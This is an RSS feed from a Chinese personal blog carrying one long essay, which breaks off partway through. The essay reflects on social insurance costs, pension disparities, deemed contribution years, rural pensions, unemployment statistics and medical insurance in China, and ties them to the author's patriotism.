<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[ctexthuang]]></title><description><![CDATA[桃夭居]]></description><link>https://ctexthuang.com</link><image><url>https://ctexthuang.com/favicon.svg</url><title>ctexthuang</title><link>https://ctexthuang.com</link></image><generator>Yohaku (https://github.com/Innei/Yohaku)</generator><lastBuildDate>Wed, 11 Nov 2026 03:56:47 GMT</lastBuildDate><atom:link href="https://ctexthuang.com/feed" rel="self" type="application/rss+xml"/><pubDate>Wed, 11 Nov 2026 03:56:47 GMT</pubDate><language><![CDATA[zh-CN]]></language><item><title><![CDATA[从社保这笔账，想到爱国这件事]]></title><description><![CDATA[<link rel="preload" as="image" href="https://ctexthuang.com/api/v3/objects/image/mnugy9mle46wbuigy4.png"/><link rel="preload" as="image" href="https://ctexthuang.com/api/v3/objects/image/wdapfjdbuy12ao6sdm.png"/><link rel="preload" as="image" href="https://ctexthuang.com/api/v3/objects/image/qxovdwxg1qx6x63i1a.png"/><div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://ctexthuang.com/posts/heart_billows/social-insurance-national-fortune">https://ctexthuang.com/posts/heart_billows/social-insurance-national-fortune</a></blockquote><div><h1 id="">从社保这笔账，想到爱国这件事</h1><p><img alt="13333" height="941" src="https://ctexthuang.com/api/v3/objects/image/mnugy9mle46wbuigy4.png" width="1672"/></p><p>看完这两个视频，我一直在想：一个人今天承担的社保费用，和他将来能得到的保障，到底是怎样连在一起的？</p><p>另一个视频谈企业现金流、社保成本和年轻人的就业，话说得很直接。我未必接受其中所有归因，但它提出的负担问题绕不过去。工资要发，生活要继续，养老和看病的钱也得有来源。如果每次讨论到最后，都只是企业和员工争谁多出一点，社保这套安排本身反倒很少受到追问。</p><p>郭教授说“再好的个人命运，抵不过国运”，又说“国运托个人运”。我认同这层联系。个人再努力，也离不开安定的生活环境、发展的机会和国家的自主。可听完这句话，我想知道的还有：这样的共同条件，怎样托住一个失去工作的人，怎样托住一个农民的晚年，怎样体现在每个月领取的养老金里？</p><p>退休待遇为什么有差距，职称和岗位怎样影响那笔钱，旧职工的历史年限怎样折算，农民过去的劳动又怎样被对待，都值得细说。至于异常档案能够层层过审、应给的补助反而没有落实，更需要查到具体责任。用历史原因解释这些安排的来历，只回答了它们怎样出现，还没有回答它们是否应该继续这样运行。</p><p>这也是我愿意把两段演讲放在一起想的原因。一个提醒我看国家与个人的联系，一个提醒我看现实中的负担；落到社保上，我更关心的是，我们拿出了多少资源，怎样分配，谁在困难里得到帮助，又是谁只能继续自己想办法。</p><p>我希望中国更好，也相信它有继续改革的能力。这份认同没有让我少问几个问题，反倒使我觉得，那些影响普通人几十年生活的规则，更应该说明白。</p><h2 id="">工资单之外的社保成本</h2><p>社保往往先作为工资条上的扣款进入生活，随后才是一份关于将来的承诺。钱按期交出去，待遇却要在不同时间、不同条件下兑现。参与者很难在今天验证几十年后的事情，制度也就需要把筹资、待遇和调整办法交代得格外清楚。</p><p>《社会保险法》第二条列出养老、医疗、工伤、失业、生育等不同险种。[2] 日常把它们合称社保很方便，算账时却要拆开。养老涉及历史转轨和长期支付，医疗要看费用及支付规则，失业保障要看领取资格。某一项有结余，不能顺手替另一项作保证；某一项有问题，也需要找到对应的规则和责任。</p><p>我接受社会需要共同保障人的生活，也正因此在意保障究竟怎样提供。目标得到认同以后，由谁交钱、谁有资格领取、怎样计发和审批，才是争议真正开始的地方。若讨论每次都退回“社保重要”，工资条上的疑问便始终没有往前走。</p><p>企业要付工资，也要承担相应缴费；员工既需要今天的到手收入，又不能不想以后的养老和医疗。大量保障责任附着在劳动关系上，双方很容易围着同一笔用工成本拉扯。工资单之外的历史责任、财政分担和支出结构，却未必同时被拿出来。这样谈下去，好像只有老板和员工各退一步，事情就算解决了。</p><p>一家企业经营困难，可能会调整招聘、工资或用工方式。社保成本怎样影响这些选择，值得测算。订单、回款、融资、租金和管理也都影响经营，把困难全归于社保会误判；可列出其他原因，并没有消除检查社保成本的必要。要看的是哪类企业承受什么压力，压力又怎样传到岗位和收入上。</p><p>对靠工资生活的人，眼前与将来常常是放在一起考虑的。为了保住岗位接受较弱保障，或者为了保留保障接受较低收入，都有实在的代价。假如讨论只给他留下这两种选择，我们至少还该检查，有没有某部分公共责任被过多地集中到了这段劳动关系里。</p><p>规则的执行也会改变竞争。可以设想，两家做同类业务的企业，一家按规则承担用工成本，另一家尽量省掉其中的保障。如果只看最后谁的价格低，认真履责的企业便可能吃亏。减轻经营负担，需要让守规则的人也能得到帮助，否则短期内省下来的费用，可能形成下一轮压低保障的压力。</p><p>另一个视频让我留意到企业现金流，但我仍要追问，“少交社保，工资就能多发”通过什么机制实现。这要看工资约定、经营状况和企业怎样分配节省的支出。假如保障少了，到手收入没有增加，员工就没有得到设想中的补偿；即使拿到了更多钱，也需要知道少了哪一项权益，以后怎样承担风险。</p><p>这里还有选择能力的问题。一个急着获得收入的人，未必有余地细谈每一项条件。纸面上写着双方同意，不代表双方掌握同样多的信息、拥有同样强的议价能力。设置基本规则，恰是为了减少个人每次求职时都得重新谈判的负担。调整这些规则时，也得说明原来由规则承担的责任，准备交给谁。</p><p>所以，我想算的成本包括企业已经付出的，也包括劳动者眼下少拿的、以后可能需要自己补上的。再往外，还有公共财政承担的部分。把这些都放到一起，才有可能判断，一项所谓减负究竟减轻了谁的负担，有没有只是把它挪到了别处。</p><h2 id="">并轨以后，差距从哪里来</h2><p>“多缴多得、长缴多得”能解释一部分养老金差别。但一比较机关事业单位、企业职工和城乡居民，只看最后的缴费记录就不够了。个人实际交了多少，单位替他承担多少，哪些年限被视同缴过，工资和职称怎样进入计算，以及有没有年金，都影响最后领到的钱。</p><p>这些组成要先拆清。体制内并非人人高收入，一个人的退休金也代表不了全国平均。恰恰因为不能靠几张截图下结论，制度本身的规定才更值得检查：哪些差异来自实际缴费，哪些延续了旧承诺，哪些依靠财政，哪些属于补充保障。把问题停在“每个人情况不同”，会漏掉造成这些不同的共同规则。</p><p>国务院2015年公布的机关事业单位养老保险改革决定，自2014年10月1日起实施。文件要求单位和工作人员共同承担基本养老保险缴费，同时规定，改革前已退休的人员保持原待遇并参加调整，改革前参加工作、改革后退休的人员采取过渡措施。[6] 也就是说，旧制度的承诺通过衔接办法进入了新制度，并没有因为缴费框架改变而一笔勾销。</p><p>理解这段过渡，才能理解为什么并轨以后，待遇仍有差别。建立相近的统筹和个人账户框架，与抹平过去的积累，是两件事。文件还要求机关事业单位为工作人员建立职业年金。[6] 因而，比较退休收入时，基本养老金与年金等补充待遇需要分别列明。否则讨论双方说的可能根本不是同一笔钱。</p><p>列明以后，公平问题仍在。如果部分差距来自较完整的补充保障，就需要解释经费怎样安排，享受范围依据什么确定，其他劳动者有没有相应的参与条件。说清它叫什么，只是比较的起点。公共资源为何这样分配，仍然要有理由。</p><p>资金来源尤其重要。对由财政安排相关经费的机关事业单位，单位缴费有相应预算支持；企业的单位缴费，则主要从经营收入筹措。同样叫单位缴费，保障条件并不相同。这既不抹去公共部门工作人员个人的付出，也不能把财政支持当成无需社会承担的部分。财政从哪里筹资、承担到什么程度，应当进入待遇比较。</p><p>一个企业职工可能需要担心单位是否足额缴费，一个靠项目挣钱的人还得自己解决缺少单位分担的问题。等到退休时，只比较他们积累了多少年，容易把获得稳定参保机会的差别，解释成个人选择的差别。记录是真实的，形成记录的条件也是真实的。公平的讨论应当同时看见它们。</p><p>职称的问题，要沿着计算关系往下看。它并不是一张全国通用、可兑换固定高额养老金的凭证，而可能通过岗位工资、缴费工资和特定过渡办法中的视同缴费指数等影响待遇。北京科技大学2018年的制度问答，就解释过职务职级、技术职称、工作年限与视同缴费指数的联系。[7] 这有当时的适用背景，不能直接拿来测算2026年任何一个人的待遇，但足以说明岗位和身份体系怎样进入相关计算。</p><p>我在意的也是这一步：一项职称评价怎样变成长期支付的待遇差别，其中多少来自实际缴费，多少来自对改革前经历的折算。如果职称、岗位或档案认定影响多年的支出，认定过程就要接受相称的核查。不能只在发放端强调严格照章，却很少解释决定待遇水平的参数为什么这样设置。</p><p>教师、医生、科研人员等专业劳动当然值得尊重。问题在于，种粮、运输、清洁、照料、建筑和制造，同样维持着社会运转，却未必拥有相应的职称和单位保障体系。尊重前一种劳动，并不要求后一种劳动退出比较。需要解释的是，不同贡献怎样被承认，公共补助为何沿着某些身份边界分配。</p><p>这样的追问，也不等于主张把已经依法形成的养老金随意拿走。合法权益、历史承诺与冒领应当分别处理。改革可以审视将来的待遇形成方式，公开转轨成本，讨论公共补助的去向。慎重对待既有权益，与为后来者调整规则之间，还有许多需要做的事。</p><p>如果每次过渡都优先照顾保障条件较完整、表达能力较强的群体，其他人则继续等，改革就会积累新的不满。是否存在这种倾向，应当拿不同群体的负担和待遇变化来检查。宣布并轨已经实施，回答不了保障最弱的人有没有追上来。</p><p>沿着上述安排看，今天的差异有一条可以理解的形成路径：不同群体从不同起点进入改革，原有承诺由过渡办法承接，补充保障又与单位条件相连；当期筹资则仍有相当部分依赖劳动关系。这是根据制度安排作出的判断，还需要具体资金和群体数据检验。每一环都有来历，并不保证合在一起就公平。改革要处理的，正是这些历史安排累积到今天的结果。</p><h2 id="">视同缴费承认的历史，由谁付账</h2><p>前面几项差异里，“视同缴费”尤其需要说明。有人当年没有按今天的办法逐月缴纳，却获得了相应年限，直观上容易让后来缴费的人感到不平。但旧安排下的养老责任，本来就未必通过今天的个人账户和缴费记录体现。把没有采用同一种记账方式，直接理解成那些年没有劳动，也不公正。</p><p>承认历史劳动，有它的理由。争议在于怎样折算，以及折算后的成本由谁承担。已经发生的劳动不能抹去，历史承诺的范围却仍要说明。否则“尊重历史”便可能从一个衔接原则，变成任何人都无法继续询问的支出理由。</p><p>《社会保险法》第十三条规定，国有企业、事业单位职工参加基本养老保险前，视同缴费年限期间应当缴纳的基本养老保险费由政府承担。[2] 法律写明了承担主体，公众就有依据要求知道：这项责任怎样测算、资金怎样安排，又怎样反映在预算和基金收支里。</p><p>我想看到转轨成本与当期保障成本分别说明。政府补助用于哪部分历史责任，哪些是对当期基本保障的支持，随着领取人数和支付年限变化，原有估计怎样更新，都影响我们对负担的判断。如果筹资紧张时只谈缴费人少了，却不交代既有承诺中应由更广泛财政收入承担的部分，账就没有说全。</p><p>视同缴费也不只涉及机关事业单位。符合国家规定的企业职工历史年限，同样可能涉及这一制度。不同转轨时期的计发方式和承担关系，需要分别研究。把老企业职工与机关事业单位人员混在一起，再用“没交钱”指责全部人，只会使原本值得追问的财政责任变得模糊。</p><p>认定年限是另一个关键。原始档案怎样证明工作经历，缺失材料能否补充，经历变动怎样衔接，争议由谁复查，都可能影响一个人晚年的收入。档案多年前形成，又常由单位保管，当事人不一定能够随时拿出完整证明。材料缺失的后果若全部由个人承担，真正劳动过的人可能受损；证明标准若没有约束，虚假年限又可能被写进待遇。</p><p>经办部门需要处理的，正是这两种风险。对正常缺失材料，给出可行的补充核实程序；对突击补录、异常涂改和关键日期冲突，安排复核，并留下能够追溯的理由。让真实经历得到承认，与查出人为做长的年限，应当放在同一个审核目标里。只强调其中一面，都可能使另一面的人承担后果。</p><p>当视同缴费与职务、岗位、职称折算相连，争议又从“承认多少年”进入“按什么水平承认”。为什么采用某个指数，怎样避免把某个阶段的身份差别过度延伸到更早的年月，需要专业测算，也需要公开解释。公式列出来以后，参数所包含的分配选择仍然值得讨论。</p><p>不同年限、不同缴费可以对应不同待遇。可一旦公共补助参与其中，我们也得问，这种承认覆盖了哪些历史劳动。单位档案能够记录一类人的贡献，另一类人的劳动未被纳入同一体系，并不意味着后者对社会没有贡献。</p><p>这就绕不开农民。对旧职工，我们承认不能只用今天的缴费方式衡量过去；面对没有进入单位保障体系的人，同样应该想一想，他们晚年的保障缺口怎样形成，又准备由谁弥补。法律上的缴费认定要讲准确，公共责任也要接着谈下去。</p><h2 id="">同样参与建设的农民，晚年靠什么</h2><p>说起农民养老，有一种回答很省事：他们有地。可土地能提供多少收入，要看实际经营条件，也要看老人还有没有体力，能否获得稳定收益。需要住院或长期照料时，有地也不等于已经得到费用和服务。这份保障到底有多大，应该算出来，不能只靠一个“有”字完成解释。</p><p>农村居民的处境差别很大。有经营土地的人，有外出务工参加职工保险的人，有主要参加居民养老的人，也有失地后重新安排生活的人。判断保障是否足够，需要看不同处境的待遇和服务，尤其是最薄弱的那部分。把所有农村老人归成同一种收入状况，既难以找准问题，也容易让具体缺口被平均数遮住。</p><p>2014年建立统一的城乡居民基本养老保险制度的意见，明确了基础养老金和个人账户养老金的结构、政府对相关基础养老金的责任，以及制度实施时已达到规定年龄人员不用缴费即可领取基础养老金的过渡安排。[8] 因而，农民并非一概没有养老制度。真正要检查的，是制度提供的帮助到了什么程度，足以应对怎样的生活。</p><p>参保人数和待遇增长都值得了解，但它们不能单独回答这个问题。一笔待遇能够支付多少基本开销，原有缺口还剩多少，城乡公共服务差异是否又增加支出，都得一起看。若只说已经覆盖、已经提高，生活里最重要的那部分困难便可能没有进入评价。</p><p>再看历史，农民参与国家建设也不只通过一张职工工资单。粮食生产、税费负担、乡村公共劳动和向城市输送劳动力，都是需要分别研究的方面。不同年代和地区的情况应当考证，农业税在法律上也不等于养老保险费。把二者直接划等号，容易让一个本来有分量的公平问题变成错误的法律论证。</p><p>可分类不同，公共责任仍在。税费不是保险费，不等于承担过税费的人就缺少获得公共保障的理由。旧职工的养老责任可以通过转轨政策衔接，未进入单位保障体系的劳动者，其晚年基本保障怎样通过财政补足，也该有相应议程。一面承认他们对发展的贡献，一面只用“当年没交”解释养老缺口，交代不过去。</p><p>这里无需把旧职工与农民摆成对手。两边都曾在各自的制度条件下劳动，个人未必能够选择出生地和年轻时的保障安排。需要负责的是留下这些差异的制度及其后续调整。给一位老人改善基本保障，不该只能以另一位老人失去保障为条件。</p><p>具体怎样补，居民基础养老金的底线目标应该先讲清楚：准备与怎样的基本生活需要对应，中央和地方各自承担什么，财力较弱的地区靠什么缩小差距。如果只说地方可以增加待遇，难处仍然留在最缺钱的地方。共同制度的底线若过分依赖当地财力，地区差别就会继续进入老年人的日常生活。</p><p>对已经年老的人，反复解释多缴多得尤其无助。他已经没有几十年时间重新积累。补历史短板，需要承认这一点，再讨论公共预算能够怎样安排。把解决责任变成对老人进行长期理财教育，实际上回避了他们已经来不及通过个人积累弥补缺口的处境。</p><p>仍在劳动年龄的农村居民和农民工，则需要稳定参保机会。用人单位是否按实际劳动关系履责，跨地区工作后记录如何衔接，居民与职工养老之间怎样按规则转接，都影响长期结果。《社会保险法》对养老、医保关系的流动转移设有规定。[2] 现在需要用这些规定检查经办，看看劳动者流向城市时被需要的劳动，能不能得到相应的保障责任承接。</p><p>有些缺口已经不是原则之争，而是应当落实的承诺。2025年向全国人大常委会报告的审计工作材料披露，有关养老保险审计发现，21省249.73万名失地农民养老保险缴费补贴应补未补。[9] 这是特定范围的历史审计发现，不能当作2026年尚未整改的人数。但在报告披露的阶段，应受保障与实际获得之间，确实隔着没有完成的责任。</p><p>对于这一类问题，首先要核实应补对象，查清为什么未补、资金怎样安排、由谁负责落实。整改完成与否，最后应当回到当事人是否实际获得补助。资金拨到某一级、报表填上完成，与某个家庭已经得到权益，不是同一件事。公众要求看见这一步，并没有增加制度原本不承担的义务。</p><p>在已有承诺之外，进一步提高待遇需要稳定来源。我倾向于先把最薄弱的基本生活缺口列明，再提出有期限、可检查的提高步骤，同时安排对财力弱地区的支持。究竟提高多少应由预算测算决定，优先照顾谁却可以明确讨论。若只是等有余力的地方自行提高，最需要补足的人还会继续等待。</p><p>现金以外，基本医疗、照料和便于获得的公共服务也很重要。尤其对缺少家庭照料、行动不便的人，拿到一笔钱之后能否真正获得服务，仍有一段距离。服务改善不能抵消应发待遇，现金也无法自动买到所有帮助。改革需要检查这些安排在生活中怎样接起来。</p><p>进度公开同样应当分清几类事：已有权益核实补足了多少，新的待遇提高安排到哪一步，资金是否稳定，实际到人情况怎样。把应给未给补回来，应当如实称为履行责任；尚在研究的安排，也应与已经实施的部分分开。这样才能看见改革究竟走到了哪里。</p><p>我在意谈论农民养老时的语气，也是因为这关系到如何理解他们与国家的联系。他们参与了建设，依法享受的权益有对应责任，进一步改善保障则涉及共同资源怎样分配。讨论这些，可以严肃算账，不需要先让老人证明自己足够感恩。国家的发展成果怎样进入他们的晚年，是一个应当正面回答的问题。</p><h2 id="">没有稳定单位的人</h2><p>养老差距还有一个正在发生的来源：一个人能不能持续拥有稳定单位。过去积累的条件决定了一部分待遇，今天获得什么工作，又影响下一段缴费记录。另一个视频对社保成本的担心，放到收入不稳定的人身上，尤其值得认真听。</p><p>按灵活就业身份参加职工养老、医疗保险时，缴费通常由个人承担。[2] 没有单位共同分担，收入却可能忽高忽低，这笔费用的分量便不同了。将来需要保障与这个月交得起多少，得同时考虑。</p><p>假设一个人的收入时多时少，甚至有几个月没有收入，一笔长期按期缴纳的费用，就可能使他在生活和保障之间为难。告诉他年轻时要为将来打算，回答不了钱从哪里来。制度若默认参与者都有连续、稳定、逐年增长的收入，就会使这种不整齐的生活处处成为例外。</p><p>“灵活就业”也不意味着每个人有同样的选择空间。有人确有余裕安排工作，有人只是暂时找不到稳定岗位。把二者放在同一个身份名称下很方便，但支持政策还得看收入和实际困难。没有单位分担，反而更需要解释公共责任怎样介入。</p><p>再设想一个人先在单位工作，后来接项目，再到另一座城市就业。他始终在劳动，也始终面对疾病和年老，却需要反复适应不同手续与规则。工作方式变化可能出于选择，也可能出于无奈。保障关系怎样接下去，应当让他有办法查明，不能全靠自己猜。</p><p>《社会保险法》第十九条、第三十二条规定了跨统筹地区就业时养老、医疗保险关系的转移。[2] 换城市并不意味着过去的缴费全部清零。有了法律安排，下一步就是检查办理结果：材料能否取得，记录有无差错，等待多久，出了问题谁解释。法律上的可转移，要靠这些环节变成实际能够完成的转移。</p><p>办理花掉的时间，也是一笔成本。假如要反复请假、往返和打电话，越是按天取得收入的人，越难承受。数字化可以减少这类支出，也要给不熟悉操作的人留下清楚的途径。评价服务时，与其只看上线了多少功能，不如看看一个普通人要试多少次，才能办成同一件事。</p><p>这并不是要求所有规则都变得毫无差别，而是希望差别有明白的说明，衔接有明确的责任。一个人在熟悉的工作上很熟练，也可能看不懂页面上的术语。服务应该面对这样的人，而不能只对已经熟悉制度的人好用。</p><h2 id="">失业率没有讲完的事</h2><p>就业直接影响这套安排的基础。个人靠收入缴费，企业靠经营维持岗位，基金也需要持续的资金来源。若工作越来越不稳，讨论便不能只在缴费中断以后追究个人为什么没有安排好。还得知道有多少人失去工作，有多少人的工作不足以支持稳定生活。</p><p>国家统计局2026年10月19日发布的前三季度经济运行数据中，9月全国城镇调查失业率为5.2%，比上月下降0.1个百分点，前三季度平均值也为5.2%。[10] 这个数字有明确的调查范围，能够描述相应口径下的状况。不同年龄、地方和工作质量，却未必与总体变化同步。</p><p>我不会凭不安编出另一个“真实失业率”。但总体平稳与求职者的困难可以同时存在。对正在失业的人，失去的可能是家庭当前主要的收入。趋势怎样变化需要统计，困难怎样持续也需要材料。二者并没有谁能取消谁。</p><p>“在找工作就不算失业”，这个说法把定义理解反了。按统计局的解释，失业人口要同时满足调查参考周没有工作、调查时点前3个月内找过工作、有合适工作能在2周内开始工作等条件。[11] 在其余条件满足时，寻找工作正是被计入失业人口的条件。</p><p>可是，定义弄清以后，还有问题需要接着问。一个人想工作，却在多次受挫后暂时停止寻找，怎样被统计？按这个框架，没有就业、近期未找工作或短期不能开始工作的人，可能被归入非劳动力。分类改变，不代表他的生活困难已经消失。</p><p>非劳动力里也包括并不准备就业的人，以及读书、退休等不同情形，不能全部算作被隐藏的失业者。真正需要辨认的，是哪些人因为求职受挫而气馁。统计局的说明本身也提出，可以结合不找工作的原因识别气馁型劳动者并开展帮扶。[11] 既然能够识别，就值得进一步说明他们的处境怎样变化，帮助又是否到达。</p><p>所以，劳动参与率、退出寻找的原因、失业持续时间，以及年龄和教育群体之间的差别，都应当补进来。失业率有严格定义，公共解释也就应该尊重它的边界。采用国际通行口径有利于比较，与增加说明本国具体困难的指标并不冲突。</p><p>“一小时”的就业标准，也需要说透。统计局说明，就业人口主要指参考周内为取得劳动报酬或经营收入工作1小时及以上的人，也包括符合条件的在职未上班人员。[11] 这是用来识别是否发生就业活动的标准。跨过这条线，与有能力独立维持生活之间，还隔着收入、工时和持续性的差别。</p><p>假设一个人只能偶尔接到有报酬的工作，他可以被计为就业，但未必有稳定的缴费能力。这是对定义含义的分析，不是对全国人数的估计。若公共解释从“被计为就业”直接推到“就业问题已解决”，就替指标承担了它本来回答不了的任务。</p><p>同一份2026年9月数据中，全国企业就业人员周平均工作时间为48.3小时。[10] 这个平均值也不能拿来判断每个人是否违法加班，却提醒我们，工作不足和劳动时间偏长可能同时存在。需要看的还有工时分布、报酬和休息条件，而非只在有工作与没工作之间划线。</p><p>失业率、劳动参与率、收入、工时和参保连续性，各自提供不同信息。统计部门应该尽量使它们能够互相核对。口径调整时，也应当说明可比范围及衔接办法，让人知道哪些变化来自现实，哪些来自统计定义。否则，数字虽有严格含义，传达出去的结论却可能过于宽泛。</p><p>公众使用数字也有同样的责任。不同年龄段的失业率不能随意拼接，新旧口径不能直接相减，一个城镇指标更不能乘上全国总人口制造失业人数。批评经得起这些核对，才能使讨论停留在真正未被回答的事情上：除了这个比例，我们还需要知道多少人的工作、收入和保障处于不稳定之中。</p><h2 id="">收入断了，保障怎样接下去</h2><p>统计把不同处境分清以后，社保还要回答下一步：失去工资的人，接下来怎么办？他面临的风险增加，可用于缴费的钱却减少。如果只让他在自行承担更多费用与中断部分保障之间选择，就等于把最难完成的任务留在了最缺收入的时候。不同险种的具体后果要分别看，这个处境本身却应当进入制度设计。</p><p>《社会保险法》规定了符合条件时领取失业保险金及相关保障的安排，也规定了缴费、失业原因、登记求职等条件。[2] 因而不能说失业以后完全没有支持。需要检查的是支持实际覆盖谁：哪些人能够领取，哪些人原本缺少参保关系，哪些人因就业方式难以进入，还有多少困难发生在信息和办理环节。</p><p>灵活就业者的处境尤其值得区分。如果此前主要由个人参加养老、医疗保险，失去项目收入，未必对应与单位职工相同的失业保障。“可以参加”只说明入口存在，收入中断后是否仍参加得起，则是另一个问题。工作方式已经不同，公共帮助是否还过多依赖原来那种稳定劳动关系，需要检验。</p><p>这也使企业缴费压力与个人保障联系得更紧。维持一个岗位，需要持续经营收入。经营下行时，征缴安排怎样影响招聘、工资和用工方式，应有相应评估。影响多大需要实证研究，我不会把某项缴费与固定比例裁员画等号；但不能因为关系复杂，就只保留对当期基金收入有利的那部分分析。</p><p>可以设想一种风险：经营压力增加，稳定岗位减少；一些人转向更不稳定的工作，持续缴费更难；收入承压以后，基金又更依赖剩下的稳定缴费者。是否形成这种循环，需要测算和实际材料检验。如果风险存在，只加强征缴而不处理就业条件，就可能削弱以后的筹资基础。</p><p>考核政策也应当把时间拉长。除了这个月征上来多少，还要看它怎样影响下一年的岗位，是否帮助失业者恢复收入，是否减少合理流动中的保障损失。某一部门账目更整齐，而更多人退出稳定参保，至少说明政策结果还得重新评估。</p><p>减负需要交代条件。确有短期困难的企业，与以少履责获得竞争优势的企业，应当区分。缓缴何时补、待遇如何处理、支持期限多长、资金从哪里来，都要说清。否则，企业暂时轻松了，劳动者却可能在以后追着单位找自己的保障，这也算不上把问题解决了。</p><p>个人这一边，同样需要清楚的接续说明。失去收入以后，哪些阶段能够依法获得支持，基本医疗怎样维持，已有养老记录如何保留，再就业怎样接续，应当能够集中查询和办理。越在时间和余钱都紧张的时候，越不该要求人先把零散文件研究透，才找得到自己可以走的那条路。</p><p>再往筹资上看，工资收入之所以常成为讨论中心，与它容易识别、单位便于组织有关。可征收方便并不能独自决定负担怎样分配。公共财政、其他依法安排的来源及支出调整，也需要进入同一份分析。如果只在现有正规就业者身上增加要求，长期是否更稳，恰是需要证明的部分。</p><p>稳定收入与持续保障应当彼此支持。就业不稳时让个人自行适应，缴费中断时又只让个人负责，会使两边的风险都落在同一个人身上。公共责任应当在哪一步出现，这才是我听完负担讨论后最想问清的事。</p><h2 id="">代际责任不能只按年龄分</h2><p>收入不稳的人担心今天，也会担心几十年以后的承诺。于是社保讨论很容易变成年轻人与老年人的争执。但年龄不足以解释负担。一边是当期领取者，一边是当期缴费者，群体内部的待遇、收入和家庭条件却可能相差很大。</p><p>看到一位生活宽裕的老人，就认为所有老人都不需要支持；看到一个高收入年轻人，就认为年轻人都承担得起，都会误判。真正需要检查的是历史承诺、当期支出与未来筹资怎样衔接，调整代价落在了哪些人身上。争论若只剩谁更自私，这些安排反而不用被检查了。</p><p>年轻人的担忧也可能来自参与意愿。他愿意共同承担，因而更想知道自己需要帮助时是否会得到同样对待。对眼前收入和长期兑现有疑问，就被说成不愿承担责任，很难增进这种意愿。把规则、预期和调整理由解释清楚，才可能使担心有地方落下，而非全部留给猜测。</p><p>人口变化当然会影响安排，可人也有自己的生活。是否结婚、生育，怎样工作和照料家人，与收入、健康、服务条件及个人愿望相连。把某一代人没有按预设节奏生活，当成所有压力的原因，既省略了这些条件，也会使政策停在训诫上。需要改变预期，就先研究是什么使人作出当前的选择。</p><p>同样，提高劳动和公共资金的使用效率、改善就业、减少浪费，都属于长期筹资问题。它们未必足以消除全部压力，但应与增加个人义务一起比较。若最容易加码的一方反复承担调整，其他选择却很少被认真评估，所谓代际分担就缺少说服力。</p><p>退休和缴费年限尤其涉及已经形成的生活计划。同一项调整，对离领取还远的人与已经临近的人，分量不同。过渡期怎样设置、差别为何存在，都需要提前说明。长期承诺允许根据实际改变，但改变时应当考虑人有没有时间重新安排生活。</p><h2 id="">延后领取以前，先问工作在哪里</h2><p>讨论延后退休或延长缴费要求，我最想先问工作。规则能够决定较晚达到领取节点，却不会因此自动增加岗位。如果一个人在此前就失去工作，领取往后推，可能只是让他自行维持生活和缴费的时间更长。测算增加的年数时，也得考虑那些年能否获得收入。</p><p>不同劳动对年龄和身体的要求不一样。能够继续留在熟悉岗位的人，与需要重新应聘、转换技能、承担体力劳动的人，选择不同。平均意义上的调整落到个人身上，需要看谁还能就业，谁可能处于难以找到工作、又未达到领取条件的阶段。对后者而言，日历往后挪几年，是需要一笔笔支付的生活费用。</p><p>我不会据此推断延后退休必然挤掉同等数量的青年岗位。岗位、技能与需求之间并没有那么简单的对应。但招聘、晋升、收入和过渡保障都应进入评估，不能因为影响复杂，就把就业一端留白，只在基金收支里计算收益。</p><p>职业培训、减少不合理的年龄限制、适应身体条件的岗位安排，都值得作为配套方向检查。落实到什么程度，要看结果。这些条件若不足，要求个人继续工作，就可能在实际生活中主要表现为继续等待。岗位机会与领取规则，应当放在一起讨论。</p><p>延长缴费要求对收入不连续的人也更敏感。劳动很多年，不等于每一段劳动都留下完整参保记录。失业寻找工作、照料家庭、用工方式转换，都可能影响积累。规则按什么条件确认权益，需要明确；由这些共同生活条件形成的缺口，也值得在规则调整时受到考虑。</p><p>在决定以前，应该公布不同群体的影响说明。不同年龄、收入和参保路径，要增加怎样的等待与成本，过渡措施覆盖谁、可能漏掉谁，个人需要有办法查明。仅凭一句方向性表述，很难重算几十年的生活。若解释不足，真假难辨的转发表格就容易代替正式说明。</p><p>这一步与前面的历史责任相连。如果遇到长期压力，就先延后领取、增加个人时间，而其他支出和财政责任没有受到同等检查，调整便显得单向。改革需要交代比较过哪些选择，为什么采取这一种，以及怎样保护承受能力较弱的人。大家共同面对困难，总得先知道代价准备怎样分担。</p><h2 id="">医保覆盖之外，还有多少负担</h2><p>养老涉及等待，医疗则经常在需要时立刻发生支出。国家医保局公布的2025年数据里，职工医保与居民医保住院费用目录内基金支付比例分别为84.1%和66.0%。[1] 这里的“目录内”很重要，它不等于整张住院账单的报销比例，更不是任何一个人的待遇承诺。</p><p>不过，这组数据已经说明，同样说参了医保，保障程度还要细看。险种、当地规则和实际费用，都影响个人负担。覆盖率可以描述多少人进入制度，不能单独说明他们遇到事情后得到多少帮助。缴费不同可以解释部分待遇差异，差异是否适度、较弱保障怎样提高，仍需要公共补助和支付规则上的理由。</p><p>医疗帮助也不只是报销。可以设想，一个人要长途往返看病，还得有人陪同，交通、住宿和耽误工作的成本都会进入家庭支出。医疗资源、基层服务、异地就医与信息安排，影响的是整个获得服务的过程。如果只盯住账单里那项比例，困难就可能被留在比例以外。</p><p>这也需要不同公共服务之间衔接。哪部分由医保支付，哪部分与医疗资源和服务供给有关，应该分清责任，避免所有困难最后都被解释成患者自己需要克服。判断帮助是否到达，应当看他实际能否获得合适服务，而非仅看某一部门完成了哪一项手续。</p><p>费用与服务质量也要一起看。省去不必要的支出，与省掉患者真正需要的帮助，不能混同；花更多钱，也不保证治疗更好。专业判断需要相应依据，公共讨论则应当让费用、质量和实际需要同时在场。我对现状有疑问，不意味着能够凭几句话替任何患者决定治疗。</p><p>另一个视频谈到预防和个人责任，这一点也应放在医疗里理解。照顾身体、珍惜公共资源，当然值得提倡。但到了一个已经生病的人面前，凭某种生活习惯就判断他不该得到帮助，跨过了许多还没有弄清的条件。基本保障若先变成对自律程度的评判，谁来作判断、依据什么，都可能产生新的不公平。</p><p>世界卫生组织介绍非传染性疾病时，提到遗传、生理、环境和行为等多种因素共同作用。[5] 